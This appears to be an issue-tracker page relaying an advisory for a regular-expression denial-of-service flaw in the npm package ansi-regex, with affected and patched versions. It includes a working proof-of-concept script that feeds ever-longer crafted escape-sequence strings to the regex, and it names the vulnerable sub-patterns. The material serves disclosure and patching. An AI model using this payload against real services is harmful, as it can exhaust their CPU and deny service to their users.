Inefficient Regular Expression Complexity in chalk/ansi-regex #2
Open
bug
dependencies
good first issue
- Dominant language
- JavaScript
- Stars
- 7
- Forks
- 0
- PR merge metrics
- No merged PRs in 30d
Description
maual update required
Affected versions
>= 3.0.0, < 3.0.1
Patched version
3.0.1
ansi-regex
(npm)
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
Contributor guide
Assessment
This issue has not been assessed yet.